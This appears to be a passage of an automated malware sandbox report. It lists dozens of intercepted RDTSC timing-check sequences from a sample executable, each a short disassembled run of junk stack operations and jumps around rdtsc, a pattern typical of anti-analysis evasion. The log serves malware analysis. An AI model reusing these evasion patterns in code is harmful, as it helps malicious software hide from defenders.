Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F4A131 second address: F4A13B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F4A288 second address: F4A28C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F4A28C second address: F4A2B7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7DD0B81646h 0x00000008 jmp 00007F7DD0B81658h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 push esi 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F4A2B7 second address: F4A2BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5323B second address: F5323F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5323F second address: F53243 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F53243 second address: F53249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5216C second address: F52190 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7DD0B815D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b jne 00007F7DD0B815F4h 0x00000011 pushad 0x00000012 jns 00007F7DD0B815D6h 0x00000018 jp 00007F7DD0B815D6h 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 popad 0x00000021 push edi 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F52190 second address: F52196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F17AB7 second address: F17AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F17AC4 second address: F17B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 jp 00007F7DD0B81646h 0x0000000c pop ebx 0x0000000d popad 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F7DD0B81648h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 mov cx, ax 0x0000002c lea eax, dword ptr [ebp+1248287Bh] 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007F7DD0B81648h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 00000019h 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c mov ecx, dword ptr [ebp+122D3BC7h] 0x00000052 nop 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F7DD0B8164Dh 0x0000005a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F17B31 second address: EFD567 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7DD0B815DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F7DD0B815E1h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F7DD0B815D8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b add dword ptr [ebp+122D2792h], esi 0x00000031 mov dh, 15h 0x00000033 call dword ptr [ebp+122D346Ah] 0x00000039 jo 00007F7DD0B815F2h 0x0000003f push eax 0x00000040 push edx 0x00000041 jng 00007F7DD0B815D6h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F17BE8 second address: F17BEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F17BEE second address: F17BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F18134 second address: F18138 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F181C1 second address: F181CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F181CA second address: F181CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F181CE second address: F1820B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F7DD0B815E9h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1820B second address: F1820F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1820F second address: F1821D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F7DD0B815D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1821D second address: F1822C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1822C second address: F18232 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F18232 second address: F18238 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F18238 second address: F18277 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push esi 0x0000000d ja 00007F7DD0B815DCh 0x00000013 pop esi 0x00000014 pop eax 0x00000015 mov edi, 1B0AA698h 0x0000001a push 75D23EA5h 0x0000001f pushad 0x00000020 ja 00007F7DD0B815E5h 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F18277 second address: F1827B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F18358 second address: F18376 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b jmp 00007F7DD0B815E2h 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1864A second address: F18650 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F18650 second address: F18656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F18656 second address: F1866B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e je 00007F7DD0B81646h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1866B second address: F18671 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1874B second address: F18765 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7DD0B8164Ch 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F18765 second address: F18769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F18769 second address: F18777 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F7DD0B81646h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F18777 second address: F187B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F7DD0B815D8h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 mov edx, eax 0x00000024 push 00000004h 0x00000026 mov dword ptr [ebp+122D1E4Dh], edi 0x0000002c nop 0x0000002d push eax 0x0000002e push edx 0x0000002f jbe 00007F7DD0B815D8h 0x00000035 push esi 0x00000036 pop esi 0x00000037 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F187B6 second address: F187D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7DD0B81656h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F187D1 second address: F187E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F7DD0B815D8h 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EFE0E8 second address: EFE0EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EFE0EC second address: EFE0FA instructions: 0x00000000 rdtsc 0x00000002 je 00007F7DD0B815D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: ECF86B second address: ECF88E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B8164Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c js 00007F7DD0B81646h 0x00000012 jp 00007F7DD0B81646h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: ECF88E second address: ECF8A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815DFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5240F second address: F5241A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5241A second address: F52427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jng 00007F7DD0B815DCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F52427 second address: F5242B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5242B second address: F5243B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815DBh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5243B second address: F52441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F526E4 second address: F526EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F52DE7 second address: F52DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: ED1431 second address: ED143A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: ED143A second address: ED143E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: ED143E second address: ED144E instructions: 0x00000000 rdtsc 0x00000002 js 00007F7DD0B815D6h 0x00000008 ja 00007F7DD0B815D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5F15D second address: F5F161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5DC74 second address: F5DC7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5DC7B second address: F5DC80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5DC80 second address: F5DC9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7DD0B815E8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5DE35 second address: F5DE45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7DD0B8164Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5DE45 second address: F5DE4B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5DF9F second address: F5DFA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5E2A8 second address: F5E2B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5E2B3 second address: F5E2B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5E476 second address: F5E480 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7DD0B815DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5E5C1 second address: F5E5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5E5C7 second address: F5E5CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5E5CB second address: F5E5DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jnc 00007F7DD0B81646h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5E8BD second address: F5E8C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5E8C4 second address: F5E8CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5E8CE second address: F5E8D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5EA48 second address: F5EA4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5EA4D second address: F5EA7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7DD0B815E8h 0x00000009 jmp 00007F7DD0B815E4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5EA7D second address: F5EA83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5EF9D second address: F5EFB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7DD0B815DDh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F5EFB0 second address: F5EFB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F652BE second address: F6530C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7DD0B815D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jne 00007F7DD0B815D6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 pop edi 0x00000015 pushad 0x00000016 pushad 0x00000017 jmp 00007F7DD0B815DAh 0x0000001c jmp 00007F7DD0B815E4h 0x00000021 push eax 0x00000022 pop eax 0x00000023 popad 0x00000024 jmp 00007F7DD0B815E2h 0x00000029 push eax 0x0000002a push edx 0x0000002b push edx 0x0000002c pop edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F6530C second address: F65316 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7DD0B81646h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F63F0B second address: F63F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F63F0F second address: F63F29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jnl 00007F7DD0B81646h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jnl 00007F7DD0B81646h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F63F29 second address: F63F5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jl 00007F7DD0B815F6h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7DD0B815E0h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F63F5F second address: F63F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F640B4 second address: F640C8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7DD0B815D6h 0x00000008 je 00007F7DD0B815D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F640C8 second address: F640CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F64214 second address: F64220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F64220 second address: F64224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F6455E second address: F64562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F64562 second address: F64572 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F7DD0B81646h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F64572 second address: F64576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F64576 second address: F6457C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F6457C second address: F645B4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop ecx 0x00000008 jmp 00007F7DD0B815E7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F7DD0B815E1h 0x00000017 push esi 0x00000018 pop esi 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F645B4 second address: F645BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F645BA second address: F645C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F63C4C second address: F63C5B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jne 00007F7DD0B81646h 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F63C5B second address: F63C78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F7DD0B815D6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jne 00007F7DD0B815F5h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
